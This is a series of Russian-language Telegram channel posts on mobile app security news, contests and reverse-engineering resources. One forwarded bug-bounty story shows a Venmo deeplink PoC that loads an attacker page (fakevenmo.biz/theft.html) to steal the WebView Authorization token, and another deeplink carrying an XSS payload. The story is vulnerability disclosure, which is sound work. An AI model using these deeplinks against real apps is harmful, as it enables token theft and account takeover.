Mobile AppSec World
5.3K subscribers
142 photos
8 videos
19 files
675 links
Новости из мира безопасности мобильных приложений, а так же интересные статьи, обзоры инструментов, доклады, митапы и многое другое...

По всем вопросам - @Mr_R1p
Download Telegram
Немного пятничной ностальгии

А тем временем прошло уже два года с момента создания канала! Даже немного не верится, что столько времени мне удаётся его не забрасывать :D

Спасибо, что читаете, общаетесь и создаете ту атмосферу, ради которой всё это и затевалось (в том числе)!

Я постараюсь радовать вас и в следующем году жизни хорошими материалами, конкурсами и чем-то ещё веселым))

На этой отличной новости желаю вам хороших и плодотворных длинных выходных!

🎉🎉🎉

И не забывайте писать истории, разыгрываем два билета, на оффзон и на мобиус :)

#пятница
Реверс iOS-приложений для начинающих

Отличная статья по реверсу и модификации iOS-приложений доя начинающих!

Никаких больших и тяжелых софтин, вроде IDA, дизассемблеров и прочего, только классика: otool, cycript и lldb.

Очень рекомендую всем, кто желает попробовать свои силы и начать погружаться в тему безопасности iOS. В качестве тренировки автором написано простое приложение, на котором и предлагается попробовать свои силы. Также может подойти в дальнейшем для какого-то простенького ctf или задачки на собесе :))

В общем, приятного чтения!

#ios #disassemble #lldb
Mobile AppSec World
Внимание, розыгрыш билета на Mobius! Друзья, так как в нашем чате не только безопасники и хацкеры, но и разработчики, вашему вниманию предлагается конкурс/розыгрыш билета на оффлайн день конференции Mobius, которая пройдет чуть меньше чем через две недели…
Результаты розыгрыша билета на Mobius

Всем привет, как и обещал, подведем итоги конкурса!
Есть две новости, хорошая и плохая)

Плохая в том, что активных участников конкурса было не сильно много, всего несколько человек. Но ничего, думаю в следующий раз будет побольше))

А хорошая в том, что выбирать мне не придется, так как организаторы решили нас поддержать и оба участника, благодаря свои историям попадают на конференцию Mobius!

@impact_l и @artebels спасибо вам за ваши истории и поздравляю!

Скоро с вами свяжется организатор и вручит билетик 😉

Если захочется подробнее посмотреть, что ждет на конференции, то программа полностью готова и доступна на сайте конференции.

Если решили посетить конфу, то не забывайте про промокод (он действует на персональный билет, вкладка «для частных лиц» на сайте): maw2022JRGpc

🍻🍻🍻
Malware под iOS, мимикрирующая под криптокошельки

Прочитал интересную статью, посвященную разбору и анализу вредоноса под iOS, целью которого являются различные криптокошельки пользователей.

Если говорить про Android, то тут всё достаточно просто, различного вида и модификаций зловредов там огромное количество, чего не скажешь про iOS. Основная проблема тут это сложность установки приложений не из магазина и полная зависимость от Apple в этом плане.

Как же действовали в этом конкретном случае? Насколько я понял, брали оригинальное приложение, модифицировали его, добавляли библиотеку .dylib, паковали, подписывали своим Apple provisioning profile и выкладывали на фейковые домены, которые мимикрировали под оригинальные сайты криптобирж и кошельков.

Ну а далее - заманивали на сайты, люди скачивали приложение, нажимали «доверять» и пошло поехало!

В статье описаны технические подробности всего вышеперечисленного, с детальным описанием, очень рекомендую почитать и посмотреть, нечасто такое встретишь)

#ios #backdoor #crypto
Встретимся на OFFZone!

Друзья, всех, кто интересуется практическими аспектами обеспечения информационной безопасности, приглашаю принять участие и встретиться лично на конференции Offzone 2022, которая пройдет 25 и 26 августа в Москве!

Ну а чтобы точно туда попасть, не забывайте участвовать в розыгрыше билета и следить за новостями, впереди ещё один конкурс :)

И ещё, рад сообщить, что наш канал Mobile Appsec World был приглашен стать одним из коммьюнити партнеров конференции Offzone 2022. У нас не только будет отдельный тематический стенд, но и специальные активности и конкурсы с крутыми призами. Проведем CTF, посканим приложения, пообщаемся в конце-концов!

Обещаем много насыщенного и полезного контента по теме мобильной безопасности!

Подключайтесь! 😎

#offzone #ofzone2022 #stand #community
Ну и веселую картиночку любителям неона =)
Итоги первого конкурса по Offzone

Всем привет!
Прошло уже достаточно времени, как стартовал конкурс, истории перестали приходить и пора бы подвести итоги.

Спасибо всем, кто участвовал, истории были классные и добавили немного веселья в наш чат :)

Но я просто не могу не отдать проходку @impact_l за его шикарную историю! Те, кто не читал, отправлю её следующим постом. Я думаю все согласятся, что это достойно награды!

@impact_l поздравляю!

Ну а всех, кто отправил свои истории, жду на стенде оффзона за мерчем :)

Впереди ещё пара конкурсов, не переживайте те, у кого ещё нет билетов ;)

#offzone #конкурс
Forwarded from Impact
#offzone1 Наливайте чай, устраивайтесь поудобнее. Расскажу вам сказ, о том как нашёл уязвимость в мобильном приложении от PayPal https://hackerone.com/paypal?type=team
А именно речь пойдёт об их активе com.venmo
В одно прекрасное утро, как обычно, решил закинуть apk в jadx, чтобы найти уязвимость.

Просматривая строки кода, один класс, второй... Ничего интересного. Тут уж я расстроился, думал перейти к следующему активу, но мой глаз зацепился за класс webview.
Да-да, там была интересная функция которая автоматически присваивала AuthorizationToken при загрузке страницы в WebView.
Естественно можно было отправить url прямо в класс через deeplink venmo://webview?url=https://www.google.com/

Вот только там была проверка хоста.
— Возможно она реализована неверно. Подумал я вслух.

А код проверки был следующим:
public static boolean isSecureVenmoHostUrl(Uri uri) {
boolean z = false;
if (uri == null) {
return false;
}
String host = uri.getHost();
String scheme = uri.getScheme();
if (host != null && scheme != null
&& scheme.equalsIgnoreCase(BuildConfig.SCHEME)
&& (host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith("venmo.biz")))
{
z = true;
}
return z;
}
Вам даётся 5 секунд, на то чтобы найти ошибку.
5
4
Верно, здесь забыли добавить точку host.endsWith("venmo.biz")

Недолго думая, я решил организовать PoC и проверить: <a href="venmo://webview?url=https://fakevenmo.biz/theft.html">PoC Intent Send</a>
К моему удивлению, url был успешно загружен и мне удалось украсть Authorization токен.
Радостный (конечно, ведь баунти 10к$) начал писать отчёт на hackerone. Потирая руки, приговаривая:
— Триагер приди, триагер приди

Триагер пришёл. Поставил Triage. Ура!
А потом поменял на Duplicate. Указав что у них уже есть отчёт с этой ошибкой 401940 . Моему негодованию не было предела. Чтож поздравляю @bagipro хорошо поймал!

Естественно, я следил за дальнейшими обновлениями приложения. И к моему счастью (конечно, ведь баунти 10к$), обнаружил что отчёт #401940 помечен как resolved, а ошибка всё ещё осталась в приложении!

Быстро сев за клавиатуру, я начал пилить репорт. На следующий день триагер ставит мне дубликат. Как же так?
Поставив ультиматум с просьбой добавить меня в отчёт — Закинули сюда #450832. Чтож поздравляю @bagipro хорошо поймал (снова)!

Я пытался оспорить решение о том, что мой отчёт — дубликат, ведь мой отчёт был отправлен раньше #450832. Но триагеры были неумолимы. В итоге, смирившись, оставил эту затею.

Спустя год или два. PayPal наконец-то исправили приложение. Внеся невероятный Fix: host.endsWith(".venmo.biz")
Верно, они добавили точку.
— Теперь пользователи PayPal в безопасности. Сказал вслух, закатывая глаза.

Однако, они по прежнему присваивают AuthorizationToken при загрузке url в webview. Нужно запомнить это знание.

Спустя два года, в мои цепкие лапы попала xss на поддомене .venmo.com
Недолго думая, составил deeplink venmo://webview?url=https://legal.venmo.com/index.php?p=<script>alert()<script>
Успешно применив знание, я отправил отчёт в PayPal, и заполучил заслуженный reward.

Не знаю, грустная эта история или весёлая. По крайней мере она мне кажется немного поучительной

P.S. история является реальной, все совпадения не случайны
Инструмент для загрузки приложений из систем дистрибуции и магазинов приложений

Всем привет!

Очень часто возникает необходимость загрузить что-то из Google Play или Apple Appstore.
А бывает и такое, что нужно автоматизировать загрузку промежуточных версий из какого-то Firebase, например или AppCenter.

Мы тоже сталкиваемся постоянно с этими задачами, поэтому решили их автоматизировать и оформить в виде репо на гитхаб, а также питоновского пакета и докер-образа :)

Вообще, это наш cli для автоматического сканирования приложений, но если вам нужно просто приложение, достаточно указать флаг —download_only

И если интересно почитать, как мы это разрабатывали - прошу на Хабр!

Пользуйтесь на здоровье :)

#habr #integratios #firebase #googleplay #appstore
Начало цикла статей по Android Internals

Всем привет! Нашел достаточно познавательную статью о внутреннем устройстве Android. Название многообещающее - Android Internals for Reverse Engineers.

В первой (и пока что единственной главе) описываются базовые понятие из мира Android, что такое Dalvik Bytecode, как он выполняется, из чего состоит и т.д.

Вообще, автор анонсировал дальнейшее продолжение и я его жду, потому что материал, его подача и контент читаются достаточно легко, понятно и информативно. Конечно, пока что ничего сильного нового, но освежить знания никогда не поздно)

Так что читаем и ждем (надеемся) на продолжение!

#android #internals #dalvik
Отличная заметка по реверсу и замене функции на свою в рантайме

В соседнем чате не так давно обсуждали различные возможности по предварительной загрузке или подмене системных библиотек при старте Android и промелькнуло несколько интересных ссылок на статьи.

И вот первая из них, как раз про подмену функций в рантайме, анализ логики работы, работа со смещениями, lldb и другим не менее интересным тулом для дизассемблирования ARMv8 инструкций в runtime - armadillo.

Самое главное, статья от нашего соотечественника на родном, русском языке! Отличный материал, очень подробное повествование, с примерами и результатом в виде готового проекта - hijack-shared-library-function.

В общем, спасибо большое автору @x25519 за годный контент!

#lldb #reverse
Исследование Android Auto

И ещё серия статей от предыдущего автора @x25519, но на этот раз уже про Android Auto.

На самом деле я никогда даже не задумывался, как это всё работает под капотом, как реализована интеграция и какие протоколы используются при подключении телефона к машине. А ведь это целый новый дивный мир!

Хотел бы представить вашему внимаю две крайне интересные статьи:
- Android Auto on Real Android статья про андроид авто, его эмуляцию, работу с ним по USB и много-много других интересных вещей про работу с ним

- TLS 1.2 brief insight - статья, описывающая принцип работы tls, очень качественно и подробно, а также способ дампа ключей, использующихся при установке соединения, а так же репозиторий для расшифровки этого трафика и логирования ключей

Очень советую прочитать все эти материалы, так как они действительно очень крутые и полезные 😄

Спасибо и всем хорошего дня :)

#androidauto #tls #android
Розыгрыш на конференцию OFFZONE 2022 #2

Всем привет и с пятницей!

Друзья, как обещал, розыгрыш второй проходки на конференцию OFFZONE 2022, которая пройдет 25-26 августа в Москве!

Сегодня все больше и больше приложений пишут на кроссплатформенных фреймворках вроде React Native, Cordova, Flutter, Ionic и других. Много было статей и боли за последнее время по анализу Flutter (спасибо StepN за это), и много еще интересных статей, багов и блогов, в которых можно найти много полезной информации по анализу таких приложений.

На сегодняшний день, большинство известных мне инструментов (энтерпрайз и опенсорс) умеют хорошо работать только с нативной частью приложений (java/kotlin/swift/objective), но имеют ооочень ограниченную поддержку для всех остальных технологий. И стало интересно очень, а какие специфические баги есть в этих приложениях и как их можно искать?

Правила этого конкурса просты.
Отправьте в наш чат сообщение с тэгом #offzone2 и ссылкой/описанием/текстом на любые материалы (статьи, инструменты, репозитории, отчеты на H1, научные исследования), которые содержат информацию по анализу таких приложений или рассказывают о каких-то специфичных багах.

На самом деле, интересна любая информация, но, конечно, идеально был бы опыт личного использования инструментов или поиска багов, которые вы описываете, но в целом это не обязательно, так что присылайте материалы, которые вам когда-то помогли приступить к анализу кросс-платформ.

Через неделю-две я соберу все сообщения и выберу победителя! Выбирать буду по самому интересному репорту/новости/тулу, которое мне реально помогло при анализе таких приложений. И соберу большой пост, который будет содержать в себе все ваши ссылки и подборки материалов по этой тематике. Думаю, будет в дальнейшем хорошая шпаргалка =)

Ну и напомню, всем, кто принял участие в конкурсе (но не победил), но все-таки будет на оффзоне, приходите к нам на стенд и получите немного прикольного мерча (да-да, мы все ходим на конференции именно за этим)

Всем удачи и хорошего поиска, встретимся на OFFZONE!

#offzone2 #конкурс #cordova #flutter #reactnative #OFFZONE2022
Бесплатные курсы по безопасности Web-приложений

Специально для тех, кому хочется в выходные поизучать что-то интересное. Наткнулся на не колько бесплатных курсов по Web безопасности:

CS 253 Web Security
https://web.stanford.edu/class/cs253/

Ethical Hacking 12 Hours
youtu.be/fNzpcB7ODxQ

OSINT in 5 Hours
https://youtu.be/qwA6MmbeGNo

Beginner Web Application Hacking
outu.be/24fHLWXGS-M

Linux for Ethical Hackers
youtu.be/U1w4T03B30I

Buffer Overflows Made Easy
https://youtu.be/ncBblM920jw


Надеюсь, вам будет интересно! Хоть это и не по мобилкам ;)

#web #education #free #cources
Подключайтесь, у @OxFi5t офигенные стримы!
Forwarded from Android Guards
В среду 06.07.2022 в 20:00 (MSK) хочу провести стрим, в котором обсудим как прийти в мобильный инфобез в 2022 году. Уклон беседы будет скорее в offensive security, но думаю, что разработчики тоже узнают для себя что-то интересное.
Темы, которые хотелось бы затронуть:
- С чего начать совсем молодым специалистам. Что изучать, а на что можно забить в начале пути
- Как вкатиться уже матерым хакерам, которые точно знают в какое поле пихать кавычку, а в какое лучше не надо
- Что делать разработчикам, у которых наступил "кризис веры" и есть желание уверовать в захек мобилок

Еще попробуем поговорить о рабочем процессе в целом и какую пользу все эти мобильные познания могут принести если решите перекатиться в другую область. Ну и конечно же хочется послушать ваши вопросы чтобы сделать повествование наиболее полным и полезным.

Проходить все будет в формате видео чата в группе Android Guards, так что если вы еще не там, то самое время.
Большой гайд по реверсу

Иногда спрашивают, с чего начать реверсить, что почитать на эту тему. Теперь у меня есть ответ :)

Достаточно большой гайд, а точнее сборник различных материалов по реверсу на различных архитектурах, с использованием различного инструментального стека: radare2, gdb, frida, x64dbg и других.

Заметки/статьи покрывают реверс С кода на х86, под винду и Unix, ну и небольшой кусочек по анализу малвари.

Всем, кто погружен в тематику или хочет научиться, настоятельно рекомендую. Очень наглядно, подробно, с комментариями и примерами.

Ну и просто заглядывайте к нему в блог, там очень качественные материалы.

#reverse #frida #gdb #radare2
Эмуляция iOS на базе Qemu

Уже скоро, в августе, состоится BlackHat USA 2022, но уже сейчас можно полазить по сетке докладов и посмотреть, что же будет интересного по нашей части. И да, первым в глаза мне бросилось очень интересная тема - эмулятор iOS.

Доклад TruEMU: An Extensible, Open-Source, Whole-System iOS Emulator обещает нам описание того, как команде исследователей удалось создать полноценный эмулятор для iOS на базе qemu, как онии его использовали для фаззинга стека ядра USB. По словам авторов, по сравнению с несколькими доступными альтернативами, TrueEMU обеспечивает полную эмуляцию ядра iOS, включая эмуляцию SecureROM и стека ядра USB. В рамках доклада также обещают показать, как полностью загружать современные образы iOS, включая iOS 14 и последнюю версию iOS 15, и как правильно запускать различные компоненты пользовательского пространства, такие как launchd, restore и т. д.

Исходники я поискал, но пока что не нашел, возможно их опубликуют после доклада. Можно как раз будет посмотреть и попробовать позапускать/поиграть с очередным эмулятором iOS. Очень надеюсь, что он будет сильно лучше и стабильнее, чем тот вариант, про который я писал ранее.

Так что с нетерпением ждем доклада и видео) Может это будет прорыв и мы получим бесплатный Correlium?

#iOS #qemu #emulation
Трек по мобилкам на BlackHat USA

В дополнение к предыдущему посту, посмотреть все доклады в сетке, посвященные мобильной безопасности можно вот по такой вот ссылке:

https://www.blackhat.com/us-22/briefings/schedule/#track/mobile

Надеюсь, каждый найдет для себя что-то интересное.

#BH #mobile
Продолжая тему реверса - инструмент radius2

Многие OpenSource продукты (обычно почему-то в реверсе мне чаще всего встречаются) имеют постфикс, то есть взяли какой-то инструмент, переписали его на новый язык/переделали/улучшили, но помня, откуда была взята оригинальная идея, оставляют старое название и добавляют новую цифру. Как примеры, radare2, radius2.

Интересно, а будет ли frida2, вот это я бы посмотрел =D

Вот и следующий инструмент имеет постфикс: radius2

Это фреймворк для символьного выполнения и taint-анализа, использующий Radare2 и его промежуточное представление ESIL. По сути, это старая версия ESILSove с некоторыми архитектурными улучшениями. Он использует boolector SMT-solver, а не z3. В среднем он выполняется примерно в 1000 раз быстрее, чем ESILSove.

Думаю, что тем, кто погружается или уже погружен в мир реверса - это будет полезно (если вы, конечно о нем не знаете).

Дополнительно в репозитории лежит неплохой файлик с описанием того, что эта штука умеет и может.

Приятного чтения и использования!

#radius #radare #frida #reverse